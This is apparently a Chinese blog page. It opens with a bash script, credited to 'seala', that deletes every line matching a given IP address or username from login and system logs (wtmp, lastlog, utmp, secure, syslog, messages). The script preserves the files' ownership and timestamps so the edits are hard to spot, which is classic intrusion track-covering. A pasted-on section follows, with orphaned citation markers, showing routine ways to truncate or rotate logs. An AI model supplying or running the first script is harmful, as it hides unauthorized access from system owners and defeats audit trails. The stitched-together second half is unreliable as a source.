linux清除日志脚本

#!/bin/bash
echo " linux clear log "
echo " by seala"
echo "==============================="
echo "Clearlog root  or Clearlog IP "
# chmod 777 log
# ./log xx.xx.xx.xx And ./log root
if [ -f "/var/log/wtmp" ];then
cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;
chgrp --reference /var/log/wtmp /var/log/temp1;
chown --reference /var/log/wtmp /var/log/temp1;
touch -r /var/log/wtmp /var/log/temp1;
mv -f /var/log/temp1 /var/log/wtmp;
fi

if [ -f "/var/log/lastlog" ];then
cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;
chgrp --reference /var/log/lastlog /var/log/temp2;
chown --reference /var/log/lastlog /var/log/temp2;
touch -r /var/log/lastlog /var/log/temp2;
mv -f /var/log/temp2 /var/log/lastlog;
fi

if [ -f "/var/log/messages" ];then
cat /var/log/messages | grep -v $1 >> /var/log/temp3;
chgrp --reference /var/log/messages /var/log/temp3;
chown --reference /var/log/messages /var/log/temp3;
touch -r /var/log/messages /var/log/temp3;
mv -f /var/log/temp3 /var/log/messages;
fi

if [ -f "/var/log/utmp" ];then
cat /var/log/utmp | grep -v $1 >> /var/log/temp4;
chgrp --reference /var/log/utmp /var/log/temp4;
chown --reference /var/log/utmp /var/log/temp4;
touch -r /var/log/utmp /var/log/temp4;
mv -f /var/log/temp4 /var/log/utmp;
fi

if [ -f "/var/log/wtmpx" ];then
cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;
chgrp --reference /var/log/wtmpx /var/log/temp5;
chown --reference /var/log/wtmpx /var/log/temp5;
touch -r /var/log/wtmpx /var/log/temp5;
mv -f /var/log/temp5 /var/log/wtmpx;
fi


 if [ -f "/var/log/utmpx" ];then
cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;
chgrp --reference /var/log/utmpx /var/log/temp6;
chown --reference /var/log/utmpx /var/log/temp6;
touch -r /var/log/utmpx /var/log/temp6;
mv -f /var/log/temp6 /var/log/utmpx;
fi

if [ -f "/var/log/syslog" ];then
cat /var/log/syslog | grep -v $1 >> /var/log/temp7;
chgrp --reference /var/log/syslog /var/log/temp7;
chown --reference /var/log/syslog /var/log/temp7;
touch -r /var/log/syslog /var/log/temp7;
mv -f /var/log/temp7 /var/log/syslog;
fi

if [ -f "/var/log/secure" ];then
cat /var/log/secure | grep -v $1 >> /var/log/temp8;
chgrp --reference /var/log/secure /var/log/temp8;
chown --reference /var/log/secure /var/log/temp8;
touch -r /var/log/secure /var/log/temp8;
mv -f /var/log/temp8 /var/log/secure;
fi 

/usr/bin/killall -HUP syslogd;
echo "Clear log is success!"
### Linux 脚本清空日志文件方法 以下是几种常见的 Linux 脚本实现方式,用于清空日志文件而不删除它们。这种方法适用于需要保留日志文件但希望清除其内容的场景。 #### 方法一:使用 `truncate` 命令 `truncate` 是一种快速且高效的工具,可以直接将文件大小调整为零字节,而无需重新创建文件。 ```bash #!/bin/bash # 确保脚本以超级用户权限运行 if [ "$EUID" -ne 0 ]; then echo "请使用 sudo 或以 root 用户运行此脚本。" exit 1 fi # 定义日志目录 LOG_DIR="/var/log" # 查找所有符合条件的日志文件并清空 find "$LOG_DIR" -type f -name "*.log" | while read -r logfile; do echo "正在清空日志文件: $logfile..." truncate -s 0 "$logfile" # 将文件大小截断至0字节 done echo "所有匹配的日志文件已成功清空。" ``` 通过这种方式可以避免因直接移除文件而导致某些服务无法继续写入日志的问题[^1]。 --- #### 方法二:重定向操作符覆盖原有内容 利用简单的 shell 内置功能也可以达到相同效果——即把空白字符串写回到原文件里去替代掉原来的内容。 ```bash #!/bin/sh logs_path='/path/to/logs' for log in $(find ${logs_path} -maxdepth 1 -name '*.log');do >"$log" # '>' operator overwrites the content of each found log file making it empty. printf "%s\n" "Cleared contents from '$log'" done printf "\nAll logs have been cleared.\n" ``` 这种技术简单明了,并不需要额外安装软件包即可工作良好[^2]。 --- #### 方法三:基于磁盘空间监控动态管理日志 有时可能并不想固定时间间隔地去做这样的事情而是依据实际状况比如说剩余储存容量低于一定百分比的时候才采取行动;那么我们可以结合前面提到的一些概念再加上对系统状态监测的部分构建这样一个逻辑流程出来: ```bash #!/bin/bash # 设定变量 LOGS_BASE_PATH="/srv/applications/myapp/logs/" WARNING_LEVEL=85 # 当磁盘占用比例大于等于这个数值时触发清理机制(%) # 获取根分区当前被使用的百分比(去掉最后面那个‘%’字符) ROOT_PARTITION_USAGE=$(df --output=pcent / | grep -o '[0-9]*') # 判断是否超出预警线 if (( ROOT_PARTITION_USAGE >= WARNING_LEVEL ));then # 开始处理超标情况下的响应措施... echo "[WARN ] Disk usage has reached ${ROOT_PARTITION_USAGE}% ! Proceeding to clean up old logs..." # 寻找超过七天未改动过的日志档案并且将其抹消掉 find "${LOGS_BASE_PATH}" -type f -name "*.log*" -mtime +7 -print -delete && \ echo "[INFO ] Successfully removed outdated logs." else echo "[DEBUG] Current disk utilization(${ROOT_PARTITION_USAGE}%)is still acceptable.No actions required at this moment." fi ``` 这段代码片段展示了如何根据实时检测到的硬盘利用率决定何时启动自动化的日志整理过程[^5]。 --- ### 注意事项 无论选用哪种方案,在正式部署前都应该充分测试确保不会误伤重要资料同时也考虑好兼容性和性能影响等因素。另外记得赋予适当执行权能使得计划任务能够顺利调用这些自定义脚本完成预定目标。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值